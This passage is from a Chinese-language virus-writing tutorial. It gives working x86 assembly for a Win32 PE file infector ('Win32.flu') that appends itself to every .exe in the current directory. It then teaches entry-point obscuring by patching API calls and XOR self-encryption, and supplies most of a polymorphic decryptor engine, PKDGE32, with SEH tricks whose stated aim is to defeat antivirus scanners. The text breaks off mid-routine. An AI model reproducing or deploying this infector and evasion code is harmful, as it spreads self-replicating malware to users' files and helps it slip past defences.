            add     esi,eax                     ; esi: IMAGE_NT_HEADER
            lodsd                               ; esi: IMAGE_FILE_HEADER
            cmp     ax,'PE'
            jnz     unmap_file
            cmp     dword [esi-8],32ef12abh     ; signature...
            jz      unmap_file


            test    word [vFH_esi.FH_Characteristics],IMAGE_FILE_SYSTEM
            jnz     unmap_file                  ; don't infect system filez
            movzx   eax,[vFH_esi.FH_NumberOfSections]
            mov     ecx,28h
            imul    ecx
            add     eax,vImageNtHeader.size
            lea     edx,[esi-4]
            add     eax,edx
            mov     edi,eax                     ; edi: ptr to new section table
            add     eax,ecx
            sub     eax,dword [ebp+pMem-delta]
            cmp     eax,[esi+vImageFileHeader.size+vImageOptionalHeader.OH_SizeOfHeaders]
            ja      unmap_file

            inc     [vFH_esi.FH_NumberOfSections]       ; increase number of sections
            add     esi,vImageFileHeader.size           ; esi: IMAGE_OPTIONAL_HEADER
            xor     edx,edx
            mov     ecx,[vOH_esi.OH_FileAlignment]
            mov     eax,virus_size
            idiv    ecx
            sub     ecx,edx
            add     ecx,virus_size
            mov     dword [ebp+dwSizeOfRawData-delta],ecx
            mov     eax,[vOH_esi.OH_SizeOfImage]
            mov     dword [ebp+dwVirtualAddress-delta],eax
            lea     edx,[vOH_esi.OH_AddressOfEntryPoint]
            mov     ebx,[edx]
            add     ebx,[vOH_esi.OH_ImageBase]
            xchg    dword [ebp+__addr_host-delta],ebx

            mov     [edx],eax
            add     [vOH_esi.OH_SizeOfImage],ecx
            lea     eax,[esp-4]
            push    eax
            push    dword [ebp+hFile-delta]
            call    [ebp+__addr_GetFileSize-delta]
            mov     dword [ebp+dwPointerToRawData-delta],eax
            push    esi                         ; save esi

            call    @f
            db      '.flu',0,0,0,0
            dd      virus_size
            dd      12345678h
    dwVirtualAddress = $-4
            dd      12345678h
    dwSizeOfRawData = $-4
            dd      12345678h
    dwPointerToRawData = $-4
            dd      0,0,0
            dd      0E0000020h                          ; read-write executable
            db      'PKER / CVC.GB'                     ; a little signature :P

    @@:     pop     esi
            mov     ecx,0ah
            rep     movsd
            pop     esi                                 ; restore
            mov     dword [esi-vImageFileHeader.size-8],32ef12abh       ; signature

            xor     eax,eax
            push    eax
            push    eax
            push    dword [ebp+dwPointerToRawData-delta]
            push    dword [ebp+hFile-delta]
            call    [ebp+__addr_SetFilePointer-delta]

            push    0
            lea     eax,[ebp+dwVirtualAddress-delta]
            push    eax
            push    dword [ebp+dwSizeOfRawData-delta]
            lea     eax,[ebp+_vStart-delta]
            push    eax
            push    dword [ebp+hFile-delta]
            call    [ebp+__addr_WriteFile-delta]
            xchg    dword [ebp+__addr_host-delta],ebx

unmap_file: push    12345678h
    pMem = $-4
            call    [ebp+__addr_UnmapViewOfFile-delta]
close_map:  push    12345678h
    hFileMapping = $-4
            call    [ebp+__addr_CloseHandle-delta]
close_file: push    12345678h
    hFile = $-4
            call    [ebp+__addr_CloseHandle-delta]
end_infect:
            popad
            ret


; go back to host...

jmp_host:   mov     eax,12345678
    __addr_host = $-4
            jmp     eax


; apiz used in virus...

api_namez:  db      'LoadLibraryA',0
            db      'CreateFileA',0
            db      'CloseHandle',0
            db      'CreateFileMappingA',0
            db      'MapViewOfFile',0
            db      'UnmapViewOfFile',0
            db      'FindFirstFileA',0
            db      'FindNextFileA',0
            db      'FindClose',0
            db      'GetFileSize',0
            db      'SetFilePointer',0
            db      'WriteFile',0
            db      0

api_addrz:  __addr_LoadLibraryA         dd      ?
            __addr_CreateFileA          dd      ?
            __addr_CloseHandle          dd      ?
            __addr_CreateFileMappingA   dd      ?
            __addr_MapViewOfFile        dd      ?
            __addr_UnmapViewOfFile      dd      ?
            __addr_FindFirstFileA       dd      ?
            __addr_FindNextFileA        dd      ?
            __addr_FindClose            dd      ?
            __addr_GetFileSize          dd      ?
            __addr_SetFilePointer       dd      ?
            __addr_WriteFile            dd      ?

_vEnd:
virus_size = $-_vStart

这个病毒(简单的简直不能称之为病毒 :P)感染当前目录下的所有.exe文件(PE格式,不感
染DOS格式的可执行文件)。不过这个病毒在感染上有一些bug,对于压缩的程序会有问题:(

测试一下试试,是不是被NAV杀掉了呢?:P


10、EPO
-------

为什么我们的Win32.flu会就被NAV认定为是病毒呢? Vxk/CVC告诉我们,AV虚拟机在对程序
入口进行检查时有一个会规定一个范围,如果程序的入口地址超过了某一个范围(阈值)而
程序又没有壳特征,那么就会被认为是病毒。

那有什么办法让avsoft认不出我们的病毒么?我们可以试一试EPO(Entry Point Obscuring
入口模糊技术)。所谓入口模糊技术是指不修改宿主代码入口点的感染。既然不修改入口,
那我们就必须使用别的方法使宿主中的病毒代码得到运行。最简单也是最常用的方法是修改
宿主程序的某个API调用。

首先,我们要了解一些不同的编译器对API调用的处理。我分别对tasm,fasm,masm,vc++等编
译器编译的程序进行了反汇编,发现:

对于tasm和masm编译器,API以如下方式调用:

    E8xxxxxxxx      call    xxxxxxxx    (相对地址)
    .
    .
    .
    FF25xxxxxxxx    jmp     dword ptr [xxxxxxxx]

首先, 程序通过一个call,跳到跳转表(前面讲过)中相应的位置,在这个位置上是一个
jmp。jmp到API函数的真正入口(存放在地址xxxxxxxx处)。

对于fasm和vc++编译器,API是直接调用的:

    FF15xxxxxxxx    call    dword ptr [xxxxxxxx]

这时,地址xxxxxxxx处(位于引入节中)存放的就是API的地址。

现在的问题是,我们怎么知道这个jmp或者call的是不是一个有效调用(FF15xxxx也许只是
一些数据而非代码),这也是为什么我们要patch API调用而不是任意call。下面我给出一
个GriYo/29A的提出的判断方法,我认为这个是比较有效的方法。

从教程开始的PE分析中我们知道,一个程序在引入表引入的API(非动态加载)都对应一个
IMAGE_THUNK_DATA结构,通过这个结构我们就可以找到这个API的名字,通过这个名字以及
一个DLL句柄(可以使用kernel32.dll的句柄) 调用GetProcAddress, 如果函数返回这个
API的地址则说明这是一个有效API,那么我们就可以通过patch刚才找到的E8xxxxxxxx指令
或者FF15xxxxxxxx指令实现EPO。

在实现前我们还需要解决一个问题: 我们如何根据存放API地址的VA(虚拟地址)得到API
的名字以调用GetProcAddress来验证这个API的有效性呢?

我们知道, IMAGE_THUNK_DATA中的FirstThunk字段在PE文件加载前后(也就是说在磁盘上
和在内存中)具有不同含义(什么? 你没听说过?那还是回到前面再复习一下引入表结构
吧 :P)。 在磁盘中,它存放的是IMAGE_IMPORT_BY_NAME结构的RVA,而当PE被加载到内存
中时,FirstThunk字段便会被替换成API的真正入口地址。

说到这里一定有人会说, 可以用OrigianlFirstThunk来找到IMAGE_IMPORT_BY_NAME!其实
这个字段就是用来做这个的!但是,这并不是必须的!看看我们前面的代码:

    dd      0                   ; 我们并不需要OriginalFirstThunk
    dd      0                   ; 我们也不需要管这个时间戳
    dd      0                   ; 我们也不关心这个链
    dd      RVA usr_dll         ; 指向我们的DLL名称的RVA
    dd      RVA usr_thunk       ; 指向我们的IMAGE_IMPORT_BY_NAME数组的RVA
                                ; 注意这个数组也是以0结尾的
    dd      0,0,0,0,0           ; 结束标志

我们只是把OriginalFirstThunk置0了...

所以,为了程序的通用性,我们不能使用这个字段来找API的名字...

我们可以这样做:首先,我们通过FirstThunk字段的RVA计算出它在文件中的偏移,然后从
文件中的这个位置得到相应IMAGE_IMPORT_BY_NAME的RVA。

怎么通过RVA得到文件中的偏移呢?有时候最笨的方法却是最有效的。我们可以这样:

首先遍历节表, 根据节表中的VirtualAddress和VirtualSize字段判断RVA落在哪个节中。
找到RVA落在哪个节后,  用这个RVA减去这个节的VirtualAddress(这也是一个RVA)得到
一个节内偏移,最后把这个偏移加上这个节的PointerToRawData就得到了这个RVA在文件中
的偏移(RAW)。

我们可以考虑如下实现:

;
; __rva2raw procedure
; ===================
;
;
; Description
; -----------
;
; This procedure is used for converting RVA to RAW in a certain file. The func-
; tion follows the following stepz:
;
;   1)  Visit each IMAGE_SECTION_HEADER of the PE file. Get each VirtualAddress
;       and  calculate the end RVA of each section by adding VirtualAddress and
;       VirtualSize. Then test if the RVA is in the section.
;   2)  If the RVA is in the  section.  Get the offset by  subtracting  the RVA
;       from the start RVA of the section.
;   3)  Get the RAW in the PE file by adding the offset and PointerToRawData.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- RVA to convert
;       esi --- pointz to the first IMAGE_SECTION_HEADER
;       ecx --- number of section header
;
; Output:
;       eax --- RAW (offset in the file)
;

__rva2raw:      pushad
r2r_sec_loop:   mov     ebx,[esi+12]            ; get VirtualAddress
                mov     edx,ebx                 ; save it
                cmp     eax,ebx
                jl      r2r_next
                add     ebx,[esi+8]             ; add VirtualSize
                cmp     eax,ebx
                jg      r2r_next
                sub     eax,edx                 ; get offset
                add     eax,[esi+20]            ; calculate RAW
                mov     [esp+28],eax            ; return
                jmp     r2r_ret                 ; ...
r2r_next:       add     esi,28h                 ; next section header
                loop    r2r_sec_loop
                xor     eax,eax                 ; not found
                mov     [esp+28],eax            ; return 0
r2r_ret:        popad
                ret

下面我们就可以得到我们要patch的指令了,下面是一个具体实现:

;
; __epo procedure
; ===============
;
;
; Description
; -----------
;
; This procedure scanz these opcodez:
;
;   E8 xx xx xx xx:     call    xxxxxxxx                ; relative address
;   ...
;   FF 25 xx xx xx xx:  jmp     dword ptr [xxxxxxxx]
;
; or:
;
;   FF 15 xx xx xx xx:  call    dword ptr [xxxxxxxx]    ; API call
;
; Then,  convert the RVA of FirstThunk, which containz the real API address, to
; RAW offset of the PE file and get the API name in the IMAGE_THUNK_DATA. Then,
; get the API address by GetProcAddress, if the function succeeded, it means we
; have got the API to patch.
;
;
; Parameterz and Return Valuez
; ----------------------------
;
; Input:
;       eax --- image base
;       ecx --- length of the section
;       edx --- number of section header
;       ebx --- pointz to the file buffer
;       ebp --- library handle
;       esi --- pointz to the code section to patch
;       edi --- pointz to the first IMAGE_SECTION_HEADER
;
; Output:
;       eax --- address of the instruction to patch
;

__epo:          pushad
                xor     ebx,ebx                 ; result REG
                lodsb                           ; load first byte
epo_search_l:   dec     ecx                     ; decrease counter
                jz      epo_ret
                cmp     al,0e8h                 ; search E8 xx xx xx xx
                jz      epo_e8_found
                dec     ecx                     ; decrease counter
                lodsb
                cmp     al,0ffh                 ; search for 15FF
                jnz     epo_search_l
                dec     ecx                     ; decrease counter
                lodsb
                cmp     al,15h                  ; 15FF ?
                jnz     epo_search_l
                jmp     epo_got_it
epo_e8_found:   push    esi                     ; save ESI
                lodsd                           ; get relative address
                add     eax,esi                 ; address of 25FF
                cmp     word [eax],25ffh        ; 25FF ?
                pop     esi                     ; restore ESI
                jnz     epo_search_l
                xchg    eax,esi                 ; eax --> esi
                inc     esi                     ; let ESI point to the address
                inc     esi                     ; which containz the API entry
epo_got_it:     pushad
                mov     ebx,[esp+60]            ; get image base
                lodsd                           ; get the RVA
                sub     eax,ebx                 ; ...
                xchg    esi,edi                 ; edi --> esi
                xchg    ecx,edx                 ; edx --> ecx
                call    __rva2raw               ; get RAW of IMAGE_THUNK_DATA
                mov     edx,[esp+48]            ; get file buffer pointer
                add     eax,edx                 ; get RAW of ...
                mov     eax,[eax]               ; IMAGE_IMPORT_BY_NAME
                call    __rva2raw               ; ...
                lea     eax,[eax+edx+2]         ; get the name of the API
                push    eax                     ; get proc address
                push    ebp                     ; ...
                mov     eax,12345678h           ; ...
    __addr_GetProcAddress = $-4                 ; ...
                call    eax                     ; ...
                or      eax,eax
                popad
                jnz     epo_got_api
                xor     ebx,ebx
                jmp     epo_search_l
epo_got_api:    dec     esi                     ; back to the beginning
                dec     esi                     ; of the instruction
                xchg    ebx,esi
                jmp     epo_ret
epo_ret:        mov     [esp+28],ebx            ; save return value
                popad
                ret

11、多态(Polymorphism)
-----------------------

在谈多态之前让我们先来看一看简单的代码加密(当然,在这里我指的不是密码学上的加密
:P)。考虑如下代码:

__start:        mov     esi,code2encrypt
                mov     edi,esi
                mov     ecx,code_len
encrypt:        lodsb
                xor     al,2fh
                stosb
                loop    encrypt
code2encrypt:   ...
code_len = $-code2encrypt

上面的代码把code2encrypt中的每个字节与密钥(上面代码中的2fh,当然它可以是任意值)
相异或,这样得到的代码就是经过加密的代码了。解密时只要把加密的代码与密钥再次异或
即可解密。

上面的方法是一般使用的加密方法,加密的代码只有经过动态解密过程才能被还原成可以执
行的原始代码。在感染的时候我们可以随机产生密钥并把经过这个密钥加密的代码写进宿主。
这样,由于加密时的密钥是随机产生的,那么通过简单的特征值检测的方法就无法检测出该
病毒。

但是这样还有一个问题,就是我们的解密代码每次都是相同的(仅仅是密钥的值不同),所
以这样的病毒依然存在特征值!解决的方法是使我们的解密代码在每次感染时也不相同,这
种对解密代码进行变换的技术叫做多态(polymorphism),我们一般称之为poly。

一个简单的poly引擎应该做到:

    1、解密代码可以随机选取寄存器

    2、可以随机调换先后顺序无关指令的顺序

    3、可以替换形式不同但功能相同的指令

    4、可以在解密代码的指令之间随机地插入垃圾指令

上面是最基本的要求,当然还可以:

    5、使用一些平台相关技术,如SEH等

    6、使用一些未公开指令

    7、可以随机插入反静态反汇编指令

    等等...

下面我们来看一下一个最简单的poly引擎的设计过程:

首先,我们可以把上面的解密(同时也是加密)代码一般化:

__start:        mov     Rx,code2encrypt
                mov     Ry,code_len
encrypt:        xor     byte [Rx],2fh
                inc     Rx
                dec     Ry
                jnz     encrypt
code2encrypt:   ...
code_len = $-code2encrypt

对于这样的加密代码,首先我们可以看到,代码中的Rx和Ry寄存器是可以随机选取的,但不
要用ESP因为那是堆栈指针,也最好不要用EBP,那样在后面的代码生成时你会看到它的可怕
:P 然后,我们还可以看到,前两条指令的顺序是无关的,我们可以调换它们的顺序。其次,
我们还可以把MOV REG,IMM指令用PUSH IMM/POP REG指令对进行替换,因为它们完成相同的
功能。还有最重要的一点,我们要在这些指令之间插入一些垃圾指令。


11.1、随机数发生器
------------------

好了,对于一个poly引擎的设计我想我们已经有了一定的思路。让我们从头开始,先来设计
一个随机函数发生器(Random Number Generator, RNG)。RNG的好坏很大程度上决定了一
个poly引擎的质量 :|

获得随机数的一个最简单的办法可以调用Win32 API GetTickCount (),或者使用Pentium指
令RDTSC,它的opcode是310fh。我们可以使用如下代码:

__random:       call    [GetTickCount]
                xor     edx,edx
                div     ecx
                xchg    edx,eax
                ret

或者使用RDTSC:

__random:       db      0fh,31h
                xor     edx,edx
                div     ecx
                xchg    edx,eax
                ret

但是这样做的效果并不好。下面我们来看一下我的RNG的设计:

我们先来看这样一个装置,我们称它为PN(伪噪声,Pseudo Noise)序列发生器,

                           (模2加法)
                             _____
                            /     /
               +----------- |  +  | <-------------------------------+
               |            /_____/                                 |
               |               A                                    |
               |    +------+   |    +------+               +----+   |
               +--> | Dn-1 | --+--> | Dn-2 | ---> ... ---> | D0 | --+--> 输出
                    +------+        +------+               +----+
                       A               A                     A
                       |               |                     |
   时钟 ---------------+---------------+---------------------+

它由一个n位的移位寄存器和反馈逻辑组成,这里的反馈逻辑是一个模2加法(我们下面用*
表示这个运算),即:Dn = Dn-1 * D0。一般我们称移位寄存器通过从右至左的移动而形成
序列的状态为正状态,反之成为反状态。所以上图是一个反状态PN序列发生器(不过我们并
不需要关心这个 :P)。下面通过一个更为简单的例子来说明PN序列发生器是如何工作的:

                         (模2加法)
                           _____
                          /     /
               +--------- |  +  | <--------------------+
               |          /_____/                      |
               |             A                         |
               |    +----+   |    +----+      +----+   |
               +--> | D2 | --+--> | D1 | ---> | D0 | --+--> 输出
                    +----+        +----+      +----+
                      A             A           A
                      |             |           |
   时钟 --------------+-------------+-----------+

假设我们的移位寄存器的初始状态为110,那么当下一个时钟信号到来时移位寄存器的状态就
变为111,随后是:011、101、010、001、100、110...

输出序列为:0111010 0...。我们称这样一个序列为一个伪噪声序列。

读者可以通过实验看出,当反馈逻辑不同时,就构成了不同的PN序列发生器,而这些不同的
发生器的线性移位寄存器产生的输出序列周期也不同,我们称周期为(2^n)-1的PN序列发生器
为m序列发生器。

由于一个m序列具有最大周期,所以我们可以使用它来产生我们的随机数(其实m序列本身就是
一个伪随机序列)。考虑如下代码:

;
; input:
;       eax --- a non-zero random number, which could  be generated by RDTSC or
;               GetTickCount or such functionz
; output:
;       eax --- the result of the function
;

__m_seq_gen:    pushad
                xor     esi,esi                 ; use to save the 32bit m-sequence
                push    32                      ; loop 32 times (but it's not a
                pop     ecx                     ; cycle in the m-sequence generator)
msg_next_bit:   mov     ebx,eax
                mov     ebp,ebx
                xor     edx,edx
                inc     edx
                and     ebp,edx                 ; get the lowest bit
                dec     cl
                shl     ebp,cl
                or      esi,ebp                 ; output...
                inc     cl
                and     ebx,80000001h           ; /
                ror     bx,1                    ;  /
                mov     edx,ebx                 ;   /
                ror     ebx,16                  ;    module 2 addition
                xor     bx,dx                   ;   /
                rcl     ebx,17                  ;  /
                rcr     eax,1                   ; /
                loop    msg_next_bit
                mov     [esp+28],esi
                popad
                ret

下面是我的PKRNG中的随机函数发生器:

;
; input:
;       eax --- pointz to the random seed field
;       edx --- the range of the random number to be generated
; output:
;       eax --- random number as result
;

__random:       pushad
                xchg    ecx,edx
                mov     edi,eax
                mov     esi,eax
                lodsd                           ; get the previous seed value
                mov     ebx,eax
                mov     ebp,ebx
                call    __m_seq_gen             ; generate a m-sequence
                imul    ebp                     ; multiply with the previous seed
                xchg    ebx,eax
                call    __m_seq_gen             ; generate anothe m-sequence
                add     eax,ebx                 ; to make noise...
                add     eax,92151fech           ; and some noisez...
                stosd                           ; write new seed value
                xor     edx,edx
                div     ecx                     ; calculate the random number
                mov     [esp+28],edx            ; according to a specified range
                popad
                ret

下面的函数用来初始化随机种子:

;
; input:
;       edi --- points to the seed field
; output:
;       nothing
;

__randomize:    pushad
                db      0fh,31h                 ; RDTSC
                add     eax,edx                 ; ...
                stosd                           ; fill in the seed buffer
                popad
                ret


11.2、动态代码生成技术
----------------------

这是一个非常简单的问题,比如我们要生成push reg指令:

首先,push reg的opcode为50h,这条指令的低3位用来描述reg。(为什么?复习一下计算
机原理吧 :P),所以push eax的opcode就为50h,push ecx的opcode就为51h...

对于这条指令生成,我们可以考虑如下代码:

; suppose ecx containz the register mask (000: eax, 001: ecx...)

                xxxx                            ; push reg16 ?
                jnz     push_reg_32             ; ...
                mov     al,66h                  ; assistant opcode
                stosb                           ; for push reg16...
push_reg_32:    xchg    cl,al
                or      al,50h
                stosb

首先我们判断是否push16为寄存器,如果是我们先要生成辅助码66h,否则就可以直接生成
相应的机器码。


11.3、一个完整的引擎
--------------------

好了,  有了上面的这些技术和思想, 我们可以编写我们的poly engine了。 下面是我的
PKDGE32的完整代码:

;
; pker's Decryptor Generation Engine for Win32 (PKDGE32)
; ======================================================
;
;
; Description
; -----------
;
; I wanted to code a polymorphic engine when I first started coding this.  Then
; I got the idea of generating decrypt code dynamically instead of morphing the
; original decrypt code.  The generated  decryptor uses random registerz,  with
; junk code inserted,  and it's  instruction-permutable.  When coding,  I found
; that the name  'decrypt generation engine'  is more  appropriate than a poly-
; morphic engine, so I renamed it to PKDBE32.
;
; Generally, the decrypt code looks like the following:
;
;                   mov     Rw,offset code2decrypt      ; (1)
;                   mov     Rz,decrypt_size             ; (2)
; decrypt_loop:     xor     byte [Rw],imm8              ; (3)
;                   inc     Rw                          ; (4)
;                   dec     Rz                          ; (5)
;                   jnz     decrypt_loop                ; (6)
;
; As we can see,  I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ...
; this  means  the we can use random registerz in the decrypt code.  The engine
; can  select  random  registerz to generate each instruction.  Meanwhile,  the
; first 2  instructionz are  permutable,  so the engine will put the 2 instruc-
; tionz in a random order.  Also,  we know that some of the instructionz can be
; replaced by other instructionz that performed the same.  For example,  we can
; use PUSH/POP to replace MOV XXX/XXX, etc.  Last but important, is, the engine
; will insert junk codez after each instructionz.
;
; One more thing, the engine setup a SEH frame before the decrypt code in order
; to fuck some AVsoftz.  And of course,  there're also junk codez between these
; instructionz.
;
; The SEH frame's like the following code:
;
; start:            call    setup_seh                   ; (1)
;                   mov     esp,[esp+8]                 ; (2)
;                   jmp     end_seh                     ; (3)
; setup_seh:        xor     Rx,Rx                       ; (4)
;                   push    dword [fs:Rx]               ; (5)
;                   mov     [fs:Rx],esp                 ; (6)
;                   dec     dword [Rx]                  ; (7)
;                   jmp     start                       ; (8)
; end_seh:          xor     Ry,Ry                       ; (9)
;                   pop     dword [fs:Ry]               ; (10)
;                   pop     Rz                          ; (11)
;
; Then comes the real decrypt code (generated by this engine).
;
;
; How to use it?
; --------------
;
; This engine can compile with FASM, TASM and MASM, etc.
;
; When using FASM we can:
;
; decryptor: times 40h      db      90h
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed          dd          ?
;
; gen_decrytpor:    mov     edi,decryptor
;                   mov     esi,rng_seed
;                   mov     ebx,crypt_code
;                   mov     ecx,crypted_size
;                   mov     edx,9ah
;                   call    __pkdge32
;
; When using TASM or MASM we should:
;
; decryptor         db      40h dup (90h)
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed          dd          ?
;
; gen_decrytpor:    mov     edi,offset decryptor
;                   mov     esi,offset rng_seed
;                   mov     ebx,offset crypt_code
;                   mov     ecx,crypted_size
;                   mov     edx,9ah
;                   call    __pkdge32
;
; One more feature, the engine returns the address of the code2decrypt field in
; the decryptor,  so we can fix this value after generating the decryptor. This
; means  we  can replace the code which to be decrypt anywhere after generating
; the  decrypt  code.  We can replace our code which to be decrypted just after
; the decryptor, without padding so many NOPz between them :P
;
; We could code like this:
;
; col_code: times crypted_size+200h    db   0
;
; gen_decrytpor:    mov     edi,col_code
;                   mov     esi,rng_seed
;                   mov     ecx,crypted_size
;                   mov     ebx,12345678h
;                   mov     edx,12345678h
;                   call    __pkdge32
; fix_address:      mov     esi,edi
;                   xchg    eax,edi
;                   stosd
;                   xchg    esi,edi
; copy_code:        mov     esi,crypt_code
;                   mov     ecx,crypted_size
;                   rep     movsb
;
; Well, enjoy it!
;
;
; Copyright
; ---------
;
; (c) 2004. No rightz reserved. Use without permission :P.
;


;
; __pkdge32 procedure
; ===================
;
;
; Description
; -----------
;
; This  is  the main procedure of the engine.  It controlz the whole generation
; process,  including SEH setup, instruction  generation,  junk code insertion,
; etc.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       ecx --- decrypt buffer size (counter in bytez)
;       edx --- decrypt key
;       edi --- pointz to the buffer to save decryptor
;       ebx --- pointz to the buffer where saved the encrypted code
;       esi --- pointz to the RNG seed buffer
;
; Output:
;       edi --- the end of the decryptor
;       eax --- pointz  to  the  address of the code which will be decrypted in
;               the  decryptor,  this means we can place the code which will be
;               decrypted anywhere by fixing the value pointed by EAX
;

__pkdge32:      pushad
                xor     ebp,ebp
                xchg    esi,edi                 ; initialize the RNG seed
                call    __randomize             ; ...
                xchg    esi,edi                 ; ...

;
; First,  we select four random  registerz for later use.  These four registerz
; are all different
;

                xor     ebx,ebx                 ; used to save Rw, Rz, Rx, Ry
                call    pkdg_sel_reg
                or      bl,al
                call    pkdg_sel_reg
                shl     ebx,4
                or      bl,al
                call    pkdg_sel_reg
                shl     ebx,4
                or      bl,al
                call    pkdg_sel_reg
                shl     ebx,4
                or      bl,al

;
; We setup a SEH frame, then we raise an exception and run the following codez.
; This action may fuck some of the AVsoftz.
;

                push    edi
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,0e8h                 ; seh instruction 1
                stosb                           ; ...
                stosd                           ; addr 1, no matter what, fix l8r
                push    edi                     ; save addr1 to fix
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,0824648bh           ; seh instruction 2
                stosd                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,0ebh                 ; seh instruction 3
                stosb                           ; ...
                stosb                           ; addr 2, no matter what, fix l8r
                push    edi                     ; save addr2 to fix
                mov     eax,[esp+4]             ; fix addr1
                xchg    edi,eax                 ; ...
                sub     eax,edi                 ; ...
                sub     edi,4                   ; ...
                stosd                           ; ...
                add     edi,eax                 ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     ah,bl                   ; seh instruction 4
                and     ah,7                    ; ...
                or      eax,0c031h              ; ...
                push    ebx                     ; ...
                and     ebx,7                   ; ...
                shl     ebx,11                  ; ...
                or      eax,ebx                 ; ...
                pop     ebx                     ; ...
                stosw                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,0ff64h              ; seh instruction 5
                stosw                           ; ...
                mov     al,bl                   ; ...
                and     eax,7                   ; ...
                or      al,30h                  ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,8964h               ; seh instruction 6
                stosw                           ; ...
                mov     al,bl                   ; ...
                and     eax,7                   ; ...
                or      al,20h                  ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     ah,bl                   ; seh instruction 7
                and     eax,700h                ; ...
                or      eax,08ffh               ; ...
                stosw                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,0ebh                 ; seh instruction 8
                stosb                           ; ...
                mov     eax,[esp+8]             ; ...
                sub     eax,edi                 ; ...
                dec     eax                     ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                pop     eax                     ; fix addr2
                xchg    eax,edi                 ; ...
                sub     eax,edi                 ; ...
                dec     edi                     ; ...
                stosb                           ; ...
                add     edi,eax                 ; ...
                mov     ah,bh                   ; seh instruction 9
                and     eax,700h                ; ...
                or      eax,0c031h              ; ...
                push    ebx                     ; ...
                and     ebx,700h                ; ...
                shl     ebx,3                   ; ...
                or      eax,ebx                 ; ...
                pop     ebx                     ; ...
                stosw                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,8f64h               ; seh instruction 10
                stosw                           ; ...
                mov     al,bh                   ; ...
                and     eax,7                   ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,bh                   ; seh instruction 11
                and     al,7                    ; ...
                or      al,58h                  ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                add     esp,8                   ; balance the stack

;
; Now,  generate the first two  instructionz with junk codez between them,  and
; permute the two instructionz in a random order.
;

                mov     ecx,2
                call    __random_rdtsc
                or      ecx,ecx
                jz      pkdg_gen_12
                call    pkdg_gen_1
                call    pkdg_gen_2
                jmp     pkdg_gen_f2f
pkdg_gen_12:    call    pkdg_gen_2
                call    pkdg_gen_1

;
; The last step, we generate the last four instructionz with junk codez in them
; these  four  instructionz must in the same order,  but the registerz they use
; are still random
;

pkdg_gen_f2f:   mov     esi,[esp+4]             ; restore ESI
                push    edi                     ; save loop address

                push    esi
                mov     eax,ebx                 ; xor byte [Rw],Imm8
                shr     eax,12                  ; ...
                and     al,7                    ; ...
                mov     esi,[esp+28]            ; ...
                call    __pkdge32_gen_xor_reg_imm
                pop     esi
                xor     eax,eax
                call    __pkdge32_junk

                mov     eax,ebx                 ; inc Rw
                shr     eax,12                  ; ...
                and     eax,7                   ; ...
                or      al,40h
                stosb
                xor     eax,eax
                call    __pkdge32_junk

                mov     eax,ebx                 ; dec Rz
                shr     eax,4                   ; ...
                and     eax,7                   ; ...
                or      al,48h                  ; ...
                stosb                           ; ...

                pop     eax                     ; jnz decrypt_loop
                sub     eax,edi                 ; get delta
                dec     eax                     ; ...
                dec     eax                     ; ...
                push    eax
                mov     al,75h                  ; write opcode
                stosb                           ; ...
                pop     eax
                stosb                           ; write operand
                xor     eax,eax
                call    __pkdge32_junk

                mov     [esp],edi               ; save new EDI
                popad
                ret

pkdg_gen_1:     mov     esi,[esp+20]            ; get offset code2decrypt
                mov     eax,ebx                 ; get Rw
                shr     eax,12                  ; ...
                call    pkdge32_gen12
                mov     [esp+32],eax            ; save offset of code2decrypt
                ret
pkdg_gen_2:     mov     esi,[esp+28]            ; get decrypt_size
                mov     eax,ebx                 ; get Rz
                shr     eax,4                   ; ...
                and     eax,0fh                 ; ...
                call    pkdge32_gen12
                ret

;
; Using this function to generate the first two instructionz of the decryptor,
; which are permutable
;

pkdge32_gen12:  push    ecx
                push    eax                     ; save mask
                mov     ecx,2                   ; determine using MOV REG/IMM
                call    __random_rdtsc          ; or PUSH IMM/POP REG
                or      eax,eax
                pop     eax                     ; restore mask
                pop     ecx
                jz      pkdg_g123_0
                call    __pkdge32_gen_mov_reg_imm
                push    edi
                xor     eax,eax
                mov     esi,[esp+16]
                call    __pkdge32_junk
                pop     eax
                sub     eax,4
                ret
pkdg_g123_0:    call    __pkdge32_gen_pushimm_popreg
                push    eax
                xor     eax,eax
                mov     esi,[esp+16]
                call    __pkdge32_junk
                pop     eax
                sub     eax,4
                ret

;
; This procudure selectz the random register Rw, Rx, Ry, Rz.  The function will
; make EBX to the following structure:
;
;   31                      15                          0
;   +-----+-----+-----+-----+------+------+------+------+
;   |  0  |  0  |  0  |  0  |  Rw  |  Ry  |  Rz  |  Rx  |
;   +-----+-----+-----+-----+------+------+------+------+
;

pkdg_sel_reg:   mov     eax,[esp+8]             ; select random register
                mov     edx,8                   ; ...
                call    __random                ; ...
                or      al,al
                jz      pkdg_sel_reg            ; don't use EAX
                cmp     al,4
                jz      pkdg_sel_reg            ; don't use ESP
                cmp     al,5
                jz      pkdg_sel_reg            ; don't use EBP
                or      al,8                    ; DWORD type

                push    ebx
                and     ebx,0fh
                cmp     bl,al                   ; R == Rx ?
                pop     ebx
                jz      pkdg_sel_reg

                push    ebx
                shr     ebx,4
                and     ebx,0fh
                cmp     bl,al                   ; R == Rz ?
                pop     ebx
                jz      pkdg_sel_reg

                push    ebx
                shr     ebx,8
